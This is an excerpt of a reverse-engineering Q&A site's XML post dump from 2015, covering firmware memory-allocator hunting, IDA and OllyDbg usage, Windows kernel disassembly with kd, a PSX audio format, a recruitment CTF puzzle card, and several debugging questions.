architectures.&lt;/p&gt;&#xA;&lt;p&gt;Any help appreciated. Thanks.&lt;/p&gt;&#xA;&lt;p&gt;P.S. I cannot post product details, firmware files or disassembled code due to non-disclosure conditions. I understand it may be difficult to provide a reliable answer because of this.&lt;/p&gt;&#xA;&lt;h3&gt;Updates&lt;/h3&gt;&#xA;&lt;p&gt;Since my last post, I've identify old Seagate firmware binairies using the same RTOS, but for the Intel 8096. BTW, the target RTOS is an old microkernel called Byte-BOS RTOS, which I wrote about in this &lt;a href=&quot;http://thecyberrecce.net/2015/11/02/the-byte-bos-real-time-multitasking-operating-system/&quot; rel=&quot;nofollow noreferrer&quot;&gt;post&lt;/a&gt;. The only string available in this OS is the copyright notice. However using the Seagate firmware, I can see heap-related error messages. I could potentially try to work these 8096 code segment into C and then recompile them on the TMS320C55x.&lt;/p&gt;&#xA;&lt;h3&gt;Updates 2&lt;/h3&gt;&#xA;&lt;p&gt;So I found out that the compiler/IDE for the platform included somesort of C library which contained a simple &lt;strong&gt;malloc()&lt;/strong&gt; function. I wrote a small C program that allocated some memory with it, ran it in the included debugger and dump the machine code. I made a quick &lt;a href=&quot;https://github.com/InfectedPacket/Idacraft/blob/master/IDAEngine.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;byte string search function&lt;/a&gt; in IDAPython and replacing non-instruction values with &amp;quot;????&amp;quot; for IDA to look only for the instructions. Unfortunately, it found no &lt;strong&gt;malloc()&lt;/strong&gt; function. I suspect the code relies exclusively on the memory allocation functions provided by the RTOS rather than the ones from the library. I can hardly believe they would be very different, since both rely on linked list. Anyway, that's where I am with this. I may try to fuzzy the byte string to find code sections that resemble the &lt;strong&gt;malloc()&lt;/strong&gt; function from the library.&lt;/p&gt;&#xA;" OwnerUserId="13780" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2016-11-30T13:35:08.240" Title="Locating Memory Allocation Functions from Static Analysis" Tags="|binary-analysis|memory|static-analysis|embedded|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11153" PostTypeId="1" CreationDate="2015-10-21T14:50:02.697" Score="2" ViewCount="832" Body="&lt;p&gt;I've been looking for a way to add custom panels or buttons to the IDA interface, primarily to track custom scripts rather then remembering a ton of short cuts or having to click through menus to get to them.  Does anyone have any experience with this or is it even possible?   The only thing I've been able to find was a document from Hex-Rays about how to set up your environment but nothing about adding custom buttons/panels/windows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I stumbled on &lt;a href=&quot;http://www.hexblog.com/?p=229&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; while looking into some DLL issues with QtPy and it looks like using a custom build of PySide from Hex-Rays is going to be the way to do it.&lt;/p&gt;&#xA;" OwnerUserId="13914" LastEditorUserId="13914" LastEditDate="2015-10-21T16:37:24.263" LastActivityDate="2017-03-27T12:52:16.470" Title="building custom buttons or panels to add to IDA" Tags="|ida|idapython|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11154" PostTypeId="1" AcceptedAnswerId="11156" CreationDate="2015-10-21T20:29:56.033" Score="0" ViewCount="624" Body="&lt;p&gt;I've been reading a book about reverse engineering assembly code, and although it is very informative, It has questions such as decompile KeReadyThread- Im pretty good at assembly, and want to give it a shot, but how exactly do i view the assembly code of this kernel or any others? thanks&lt;/p&gt;&#xA;" OwnerUserId="13918" LastActivityDate="2015-10-21T21:25:17.230" Title="How do I view a kernel routine in Windows" Tags="|assembly|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11155" PostTypeId="2" ParentId="11154" CreationDate="2015-10-21T20:52:35.190" Score="0" Body="&lt;p&gt;Hmmmm not sure on windows but on iOS you have to download the ipsw (firmware file) then unzip it then decrypt it then find the executables you want to look at, I'd imagine windows would be similar but I don't know for sure &lt;/p&gt;&#xA;" OwnerUserId="13911" LastActivityDate="2015-10-21T20:52:35.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11156" PostTypeId="2" ParentId="11154" CreationDate="2015-10-21T21:13:00.087" Score="2" Body="&lt;p&gt;If you have windbg installed you can use the Local kernel Debugging&lt;br&gt;&#xA;Facility to view the Disassembly of any kernel Routine.&#xA;In OS &gt; WinXP you may need to enable &lt;code&gt;/debug&lt;/code&gt; in &lt;code&gt;bcdsettings&lt;/code&gt; (boot configuration).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;code&gt;C:\&amp;gt;kd -kl -c &quot;uf nt!KeReadyThread;q&quot; | grep -i -A 20 ke.*&lt;/code&gt;:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;nt!KeReadyThread:&#xA;804fb7de 8bff            mov     edi,edi&#xA;804fb7e0 55              push    ebp&#xA;804fb7e1 8bec            mov     ebp,esp&#xA;804fb7e3 53              push    ebx&#xA;804fb7e4 ff1514774d80    call    dword ptr [nt!_imp__KeRaiseIrqlToDpcLevel (804d&#xA;7714)]&#xA;804fb7ea 8b4d08          mov     ecx,dword ptr [ebp+8]&#xA;804fb7ed 8ad8            mov     bl,al&#xA;804fb7ef e82e510000      call    nt!KiReadyThread (80500922)&#xA;804fb7f4 8acb            mov     cl,bl&#xA;804fb7f6 e86d5f0400      call    nt!KiUnlockDispatcherDatabase (80541768)&#xA;804fb7fb 5b              pop     ebx&#xA;804fb7fc 5d              pop     ebp&#xA;804fb7fd c20400          ret     4&#xA;quit:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="53" LastEditDate="2015-10-21T21:25:17.230" LastActivityDate="2015-10-21T21:25:17.230" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11158" PostTypeId="1" CreationDate="2015-10-22T13:46:37.717" Score="5" ViewCount="2289" Body="&lt;p&gt;When I try to load a DLL of a game client I get this error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I completely load this dll?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/suVTm.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/suVTm.jpg&quot; alt=&quot;Game.dll&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13926" LastEditorUserId="17972" LastEditDate="2016-11-22T05:32:03.987" LastActivityDate="2018-11-13T00:02:15.373" Title="Ollydbg terminated while loading dll" Tags="|ollydbg|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11160" PostTypeId="1" AcceptedAnswerId="11163" CreationDate="2015-10-23T14:37:22.387" Score="0" ViewCount="84" Body="&lt;p&gt;I am reverse engineering the VAG format, which is a sound file format for the PSX (PlayStation 1). In the format, audio markers indicating audio looping points are encoded in the stream itself by a &lt;em&gt;block attribute&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Definition of possible attributes from a header found on the official SDK:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* block_attribute */&#xA;#define ENC_VAG_1_SHOT      0&#xA;#define ENC_VAG_1_SHOT_END  1&#xA;#define ENC_VAG_LOOP_START  2&#xA;#define ENC_VAG_LOOP_BODY   3&#xA;#define ENC_VAG_LOOP_END    4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here is an excerpt of what flags/numbers are found when printing their content:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;For a 1 shot (no looping) sample:&lt;/em&gt;&#xA;00&lt;strong&gt;4&lt;/strong&gt;00000000000000000000000000000000000000000000000000000000000000000000&lt;strong&gt;1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;For a looping sample:&lt;/em&gt;&#xA;02&lt;strong&gt;6&lt;/strong&gt;22222222222222222222222222222222222222222222222222222222222222222222&lt;strong&gt;3&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, in both examples it is pretty easy to visually spot where are start/stop flags, whether for a 1 shot sample or a looping sample (confirmed by listening to the resulting WAV file).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, looking at their 'official' definition, the values by themselves are not what they should be. Basically, on a 1-shot sample there should be only 1-shot-related values, and for loops only loop-related values (again, confirmed by an encoder sample application found in the SDK).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Could there be some trick/considerations involved when one should interpret these flags ?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="4122" LastActivityDate="2015-10-23T15:58:04.137" Title="Should these numbers be interpreted as flags or not, or something else?" Tags="|file-format|decompress|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11161" PostTypeId="1" CreationDate="2015-10-23T15:24:15.520" Score="2" ViewCount="503" Body="&lt;p&gt;I'm pentesting a JNLP application composed by several .jar files. I'm able to decompile with jd-gui every 3rd party library included in it, but the main .jar coded by my client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So after running JD-Gui, Krakatau, procyon decompiler and other well known and I always receive the same response: &quot;Not a valid zip file&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My first thought it was this JAR being obfuscated, however when I extract the strings with &quot;strings target.jar&quot; I can successfully see lots of hardcoded strings including class names, SQL queries, contact details (email address and such), and others. Which makes me doubt if this Jar file is actually obfuscated or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a side note, something that bring my attention was that every library within this JNLP application contains the file: NameOfClient.RSA within the META-INF folder. So I'm guessing this Jar files are signed somehow with a private signature but I'm not sure if this has anything to do with what I'm struggling right now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My questions:&#xA;If I can read strings in plain text this means the JAR is not obfuscated?&#xA;How would you proceed on this case?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="8408" LastEditorUserId="8408" LastEditDate="2015-10-23T15:33:18.113" LastActivityDate="2015-10-23T15:33:18.113" Title="Jar reversing: Can't open as zip file nor open it with common decompilers" Tags="|obfuscation|java|decompile|jar|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11162" PostTypeId="1" CreationDate="2015-10-23T15:29:55.307" Score="6" ViewCount="1411" Body="&lt;p&gt;I have been impressed with the reverse debugging (that is stepping back in time through a program) capabilities in GDB and tools like QIRA, but I am a little confused as to why no such program exists for the OSX platform (GDS does not support reverse debugging on OSX.) Is there a technical reason why a reverse debugger is not possible on OSX? I would imagine that under the same architectures the task of implementing a time oblivious debugger would be almost exactly the same. Why would porting to OSX be a impossible or difficult? I mostly assume there is a technical challenge here because no one has implemented such an obviously useful program. &lt;/p&gt;&#xA;" OwnerUserId="2149" LastActivityDate="2015-10-24T16:36:58.627" Title="Are Reverse Debuggers Impossible on OSX?" Tags="|debugging|osx|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11163" PostTypeId="2" ParentId="11160" CreationDate="2015-10-23T15:58:04.137" Score="1" Body="&lt;p&gt;Something seems a bit weird here; i'd have expected the loop to look something like 233333334, not 62222223. And i'm missing a loop count, how would you encode a start that's played twice, mid-section that doesn't get repeated, and an end section that repeats forever, or until the end of the level?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But that doesn't neccesarily mean some trick were &lt;em&gt;intentionally&lt;/em&gt; involved. I'd assume Sony wrote the specs, published them to game creators, then implemented these specs in a certain way. The implementation probably doesn't check for violations of these specs, it just handles them in some way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enter some software vendor who does a cross-platform game. They have their own music format, need to port it to the PSX, and write a converter. To test the converter, they convert some samples and listen to them, iterating until they sound right. After that, the converter might have gotten modified and enhanced several time, which introduced some bugs, but since the samples seem to work correctly, noone ever looks at the bytes anymore. Which means at some point they started violating the spec, but since the implementation doesn't choke at this, nobody knows about this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;20 years later, you're the first one to ever notice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So yes, there could be some considerations involved how to interpret the flags, and maybe nobody ever knew what these considerations are. Best you could do is get some games from a different vendor, and look at how they encode music. This may give you an idea if you're just misinterpreting something or if your first sample actually don't match the spec. And if it does, and you want to handle this, you'll probably have to reverse the actual implementation in the PSP firmware to find out how to handle these edge cases.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-10-23T15:58:04.137" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11164" PostTypeId="1" AcceptedAnswerId="11166" CreationDate="2015-10-23T23:21:07.523" Score="2" ViewCount="1179" Body="&lt;p&gt;I wanted to know if it is possible to print out the assembly code which I analyze in ollydbg. I mean to have all of that on a paper. Sometimes I do not have access to my laptop. In such cases I would take the paper version and analyze it. Is that possible ? Is there a plugin or something like that available ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;best regards, &lt;/p&gt;&#xA;" OwnerUserId="4645" LastActivityDate="2015-10-24T07:04:03.873" Title="Is it possible to print out the assembly code in ollydbg" Tags="|assembly|ollydbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11165" PostTypeId="1" AcceptedAnswerId="11167" CreationDate="2015-10-24T00:28:50.710" Score="2" ViewCount="1775" Body="&lt;p&gt;I need to debug an old (1999) full screen application. When I window the application and attach olly the program crashes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have heard of remote debugging. Would running the program on a VM and then attaching windbg to the application on the remote machine do the trick?&lt;/p&gt;&#xA;" OwnerUserId="13791" LastActivityDate="2015-10-25T08:54:38.743" Title="how do I debug full screen applications" Tags="|ollydbg|virtual-machines|remote|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11166" PostTypeId="2" ParentId="11164" CreationDate="2015-10-24T07:04:03.873" Score="3" Body="&lt;p&gt;if copying the display from cpu window is what you want to achieve&lt;br&gt;&#xA;&lt;strong&gt;ollydbg 1.10&lt;/strong&gt;     &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you want the dis assembly of main module say notepad.exe make the module visible in cpu pane (&lt;code&gt;alt+m follow or alt+ e -&amp;gt; view code in cpu&lt;/code&gt;)     &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;in the cpu pane right click -&amp;gt; copy &amp;gt; select all -&amp;gt; right click -&amp;gt; to file &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;odbg 201&lt;/strong&gt;    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rightclick -&amp;gt; select module -&amp;gt; right click -&amp;gt; edit select all -&amp;gt; right click -&amp;gt; copy as table &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;open say notepad and paste it and save it as my disassembled_exe .txt&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;head -n 6 &quot;copyofcpu.txt&quot; | awk &quot;{ print  $1,$2}&quot;&#xA;01001000 &amp;lt;&amp;amp;ADVAPI32.RegQueryValueExW&amp;gt;&#xA;01001004 &amp;lt;&amp;amp;ADVAPI32.RegCloseKey&amp;gt;&#xA;01001008 &amp;lt;&amp;amp;ADVAPI32.RegCreateKeyW&amp;gt;&#xA;0100100C &amp;lt;&amp;amp;ADVAPI32.IsTextUnicode&amp;gt;&#xA;01001010 &amp;lt;&amp;amp;ADVAPI32.RegQueryValueExA&amp;gt;&#xA;01001014 &amp;lt;&amp;amp;ADVAPI32.RegOpenKeyExA&amp;gt;&#xA;&#xA;&amp;gt;head -n 6 &quot;New Text Document.txt&quot; | awk&quot;{print $1,$2}&quot;&#xA;CPU Disasm&#xA;Address Hex&#xA;01001000 &amp;amp;ADVAPI32.RegOpenKeyExA&#xA;01001004 &amp;amp;ADVAPI32.RegQueryValueExA&#xA;01001008 &amp;amp;ADVAPI32.RegCloseKey&#xA;0100100C ⌂ADVAPI32_NULL_THUNK_DATA&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2015-10-24T07:04:03.873" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11167" PostTypeId="2" ParentId="11165" CreationDate="2015-10-24T07:13:32.867" Score="3" Body="&lt;p&gt;you can use windbg like an user-mode debugger from a kernel connection &lt;/p&gt;&#xA;&#xA;&lt;p&gt;open the vm&lt;br&gt;&#xA;install windbg in vm&lt;br&gt;&#xA;install the full screen game in vm   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;connect the vm to a kernel debugger in host   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;execute ntsd -d {the fullscreen app in vm}  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the kernel debugger in host will kick to life as a plain user-mode debugger debugging the app ( the syntax for continuing is kinda tricky refer windbg manual for syntax of using ntsd -d )&lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2015-10-25T08:54:38.743" LastActivityDate="2015-10-25T08:54:38.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11168" PostTypeId="2" ParentId="11162" CreationDate="2015-10-24T16:36:58.627" Score="4" Body="&lt;p&gt;Honestly, the stock reversible debugging support in gdb is not all that useful. It's &lt;em&gt;really&lt;/em&gt; slow (because it records individual instructions), so you generally have to turn it on just for a critical piece of the program. I don't know of very many people that use it, which may explain why it hasn't been ported widely. I'm not familiar with QIRA's implementation so I don't know what the reasons would be there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like &lt;a href=&quot;https://github.com/mozilla/rr&quot; rel=&quot;nofollow&quot;&gt;Mozilla's &lt;code&gt;rr&lt;/code&gt;&lt;/a&gt; can be a lot faster, because it records at the system call boundary. But that's much more tied to the specific OS, so it's a lot of work to reimplement for another platform.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One last possibility is something whole-system, that records hardware events and so would be OS-agnostic by default. But then you have to run a full OS to record/replay one program, so this may not be very attractive either. This is the route that &lt;a href=&quot;https://github.com/moyix/panda&quot; rel=&quot;nofollow&quot;&gt;PANDA&lt;/a&gt; and some &lt;a href=&quot;https://lists.gnu.org/archive/html/qemu-devel/2015-09/msg04623.html&quot; rel=&quot;nofollow&quot;&gt;experimental QEMU patches&lt;/a&gt; take (note that PANDA doesn't actually support the gdb reverse-step instructions yet, but it could be implemented).&lt;/p&gt;&#xA;" OwnerUserId="257" LastActivityDate="2015-10-24T16:36:58.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11170" PostTypeId="2" ParentId="11165" CreationDate="2015-10-25T07:51:20.250" Score="2" Body="&lt;p&gt;I usually do one of the following when dealing with full screen software:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;As blabb said setting up a remote debugger is an option, although I usually find it a bit slow and annoying to use and set up. &lt;/li&gt;&#xA;&lt;li&gt;Occasionally there's a configuration option to switch to windowed mode. Its not always there but when it is its the best choice. &lt;/li&gt;&#xA;&lt;li&gt;Since you are already debugging and reversing it, you can always hook it's fullscreen request API (usually &lt;code&gt;ChangeDisplaySettings&lt;/code&gt; or &lt;code&gt;ChangeDisplaySettingsEx&lt;/code&gt; on Windows).&lt;/li&gt;&#xA;&lt;li&gt;If you can't hook or find the fullscreen API (if the software has anti-debugging it might be kind of a chicken and egg problem), you can always call &lt;code&gt;ChangeDisplaySettings&lt;/code&gt; yourself and disable fullscreen mode after getting a window handle for the program's fullscreen window. &lt;/li&gt;&#xA;&lt;li&gt;Or you could simply use one of many existing tools for exactly that, they're covered in this SO question: &lt;a href=&quot;https://superuser.com/questions/318748/force-fullscreen-games-to-in-window-mode&quot;&gt;https://superuser.com/questions/318748/force-fullscreen-games-to-in-window-mode&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Hope that helps :)&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="-1" LastEditDate="2017-03-20T10:04:42.917" LastActivityDate="2015-10-25T07:51:20.250" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11171" PostTypeId="1" CreationDate="2015-10-25T13:53:13.543" Score="1" ViewCount="612" Body="&lt;p&gt;So a couple weekends ago I attended a cyber Security workshop where I met a prospective employer who gave me a business card. On one side it read &quot;There are two individual challenges that lead to a third) and the other was this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/JIaZV.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/JIaZV.jpg&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I have figured out the following: The first two lines of white text are ascii data and reveal: '[0-9a-z .]* XOR random 32bht key' that the following text is encoded using the above. once brute forced using a ruby script provided by a friend it said: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;now its time to find what is hidden at 13.56 mhz&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the red characters on the card read out e280-[bunch of chars], e280 being the utf encoding for read right to left. This gave HERENFC, which further confirmed my suspicions of a NFC chip inside the card he gave me. Scanned it and got a big bunch of data. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;base64-&gt;7zip (elf password is the location hinted to by img): N3q8ryccAAO51A6KBgIAAAAAAAAiAAAAAAAAAD5mzWIAJOCkAAf+balKKKORaarWyJiLJeTWHRJVHIEgJz/czH7tYJXny/HfNnNRkRlOIjzLMtjdLBDregzoh1+tXUBBuw4cpJ33zcf4L+POxPdkzJJ49ESxLT7MY0/Ksq7aqgqk/SDuHpYV+6YHaAolL0KOgUQG4p/xx1GiEoUrRqMqe+hitJk37v2fZXrKMEllLnYyREZdS62Pa69rjOhJyYxNEHd5vlFhN2jt5LWOYL1OLzNtw6DPPfC+dNYVgewO5/PttAitk5yK4z4Eme32yB6jeBcRli3cwTfPAAsOC7U4Pr1IODxVlQ7cIJnXKORVk5iblQeksZMYXNGB8/4P7amcWXdBE9o3NaAlBW6WAcWGP2nTEEan7G2Zty8mm7F45xGv6iCzUbulCKfOHi8YlQWMPQxXj5fQI1kxj3oPyu1E5Zy3OJ6jFz7ld5wKFiUjxn1iXxO0U5uQ/wudHqosOpnq1fHTqhOQFe99dz5zJE7KegYH1eY0T4/2jpIqbhwv/EKBjqILccTblk5AAACBMweuMZ7dMFw/KDXD5SrD2xIUL0tMwVZq35QApnkHFcpn63JExNCjbiv5H9OLqbVtkgehxuu9HDnuibc1CGWVO7Nh5WcSTqRlaYgfHkcgVKAH2SRsgnoktPvpjWVdiATfwfGVXnbS7diXCMCHQcwLcoUw3pUH4aAAABcGgYoBCXwABwsBAAEjAwEBBV0AEAAADICDCgFtjZ9MAAA=&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then decoded in linux using base64 --decode and then zipped that file. When you open it there are two files, 1 is a file with no extension which when opened with paint is a low res football (i think) and the other is a pw protected ELF.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so now my problem comes, i've tried Johntheripper (incl. jumbo suite) but it cannot create a PW hash from a 7zip, fcrackzip wasn't compatible, and rarcrack won't allow me to pass wordlists into it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it's either that or someone help me see what i'm missing in the password hint. All help appreciated, hoping to get a placement at a very cool company out of this before my final year of uni. &lt;/p&gt;&#xA;" OwnerUserId="13952" LastActivityDate="2015-10-28T18:00:49.910" Title="Help on 7zip PW cracker / Reverse engineering question" Tags="|encryption|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11173" PostTypeId="1" CreationDate="2015-10-26T01:48:21.717" Score="1" ViewCount="550" Body="&lt;p&gt;I have a jailbroken IOS8 device, with an A6X processor. &#xA;I'd like to pull either the device's kernel or a specific module, and decrypt it to use with a compatible objdump.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The IOS kernel modules do not appear to be on the exposed file system.  &lt;/p&gt;&#xA;" OwnerUserId="13954" LastEditorUserId="13954" LastEditDate="2015-10-26T22:43:44.860" LastActivityDate="2015-10-27T23:23:38.597" Title="Disassemble IOS Kernel Module from jailbroken device?" Tags="|disassembly|kernel-mode|ios|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11174" PostTypeId="1" CreationDate="2015-10-26T06:04:46.393" Score="2" ViewCount="154" Body="&lt;p&gt;I was looking at an executable having GMP linked statically to it. The following seems weird.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Disassembly of section .text:&#xA;&#xA;0000000000400e60 &amp;lt;refmpn_fill.part.4&amp;gt;:&#xA;  400e60:   50                      push   %rax&#xA;  400e61:   ba 55 84 42 00          mov    $0x428455,%edx&#xA;  400e66:   be 92 00 00 00          mov    $0x92,%esi&#xA;  400e6b:   bf a8 81 42 00          mov    $0x4281a8,%edi&#xA;  400e70:   e8 1b 66 00 00          callq  407490 &amp;lt;__gmp_assert_fail&amp;gt;&#xA;&#xA;0000000000400e75 &amp;lt;refmpn_count_leading_zeros.part.19&amp;gt;:&#xA;  400e75:   50                      push   %rax&#xA;  400e76:   ba c2 81 42 00          mov    $0x4281c2,%edx&#xA;  400e7b:   be eb 06 00 00          mov    $0x6eb,%esi&#xA;  400e80:   bf a8 81 42 00          mov    $0x4281a8,%edi&#xA;  400e85:   e8 06 66 00 00          callq  407490 &amp;lt;__gmp_assert_fail&amp;gt;&#xA;  400e8a:   66 0f 1f 44 00 00       nopw   0x0(%rax,%rax,1)&#xA;&#xA;0000000000400e90 &amp;lt;main&amp;gt;:&#xA;  400e90:   53                      push   %rbx&#xA;  400e91:   bb e8 03 00 00          mov    $0x3e8,%ebx&#xA;  400e96:   48 83 ec 20             sub    $0x20,%rsp&#xA;  400e9a:   e8 11 03 00 00          callq  4011b0 &amp;lt;tests_start&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see there are disassembly of functions of the form: &lt;code&gt;function_name.part.#&lt;/code&gt; where &lt;code&gt;#&lt;/code&gt; represents some number. There are no such function having name with &lt;code&gt;part.#&lt;/code&gt; appended at the end in the source code. Then how do these objects appear?&lt;/p&gt;&#xA;" OwnerUserId="13634" LastActivityDate="2015-11-02T17:46:54.427" Title="func_name.part.# in objdump disassembly" Tags="|disassembly|objdump|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11175" PostTypeId="1" CreationDate="2015-10-26T07:20:04.127" Score="2" ViewCount="626" Body="&lt;p&gt;I have &lt;a href=&quot;http://www.e5hforensics.com/memoryanalysis.com/acquisition_tools.htm&quot; rel=&quot;nofollow&quot;&gt;read&lt;/a&gt; that HBGary's FastDump Pro (FDPro) can capture kernel dumps and include the page file contents.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although I'm not sure if the tool is still available commercially (it's not listed on the &lt;a href=&quot;http://www.countertack.com&quot; rel=&quot;nofollow&quot;&gt;countertack.com&lt;/a&gt; webpage), I'd like to know whether the file format created by FastDump Pro is compatible with WinDbg or if I need other tools to analyze it (HBGary/Countertack tools).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If they are compatible, I see some benefit in having the page file contents included in the dump, since that would e.g. give the possibility of debugging a .NET application from a kernel dump, which is usually not possible since parts of the of the virtual memory have been paged out.&lt;/p&gt;&#xA;" OwnerUserId="3355" LastActivityDate="2016-05-31T00:42:57.677" Title="Are HBGary FastDump Pro dumps compatible with WinDbg?" Tags="|debugging|windbg|dumping|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11176" PostTypeId="1" CreationDate="2015-10-26T08:13:05.813" Score="1" ViewCount="123" Body="&lt;p&gt;I wrote a small driver program utilizing static version of GNU &lt;code&gt;gmp&lt;/code&gt; library. I observed that the library itself is &lt;code&gt;1.2 MB&lt;/code&gt; while the driver executable is of &lt;code&gt;237 KB&lt;/code&gt;. This has led me to believe that the linker &lt;code&gt;ld&lt;/code&gt; is smart enough to include only the required code from the library, thus eliminating the unnecessary instructions to prevent the executable from being bulky.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any means to instruct &lt;code&gt;ld&lt;/code&gt; to link the entire &lt;code&gt;gmp&lt;/code&gt; library (even the unnecessary code) starting at some specified location?&lt;/p&gt;&#xA;" OwnerUserId="13634" LastActivityDate="2015-12-25T15:10:43.847" Title="Linking entire library statically at exact same location" Tags="|static-analysis|" AnswerCount="1" CommentCount="1" ClosedDate="2016-01-07T12:05:28.127" ContentLicense="CC BY-SA 3.0" />
  <row Id="11177" PostTypeId="2" ParentId="11158" CreationDate="2015-10-26T10:12:39.633" Score="1" Body="&lt;p&gt;From the picture i don't see it's terminated it is only &quot;Running&quot; which could be a lot of things. For example the Dll might be waiting for a specific dll to be loaded or a specific window name. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try to use the option &quot;AdvEnumModule&quot; in StrongOD plugin and see if that helps making your DLL pause at EP. Or you could also try to change the PE Header of your dll by unchecking &quot;File is a DLL&quot; flag using CFF Explorer go to File Header &gt; Characteristics.&lt;/p&gt;&#xA;" OwnerUserId="8610" LastActivityDate="2015-10-26T10:12:39.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
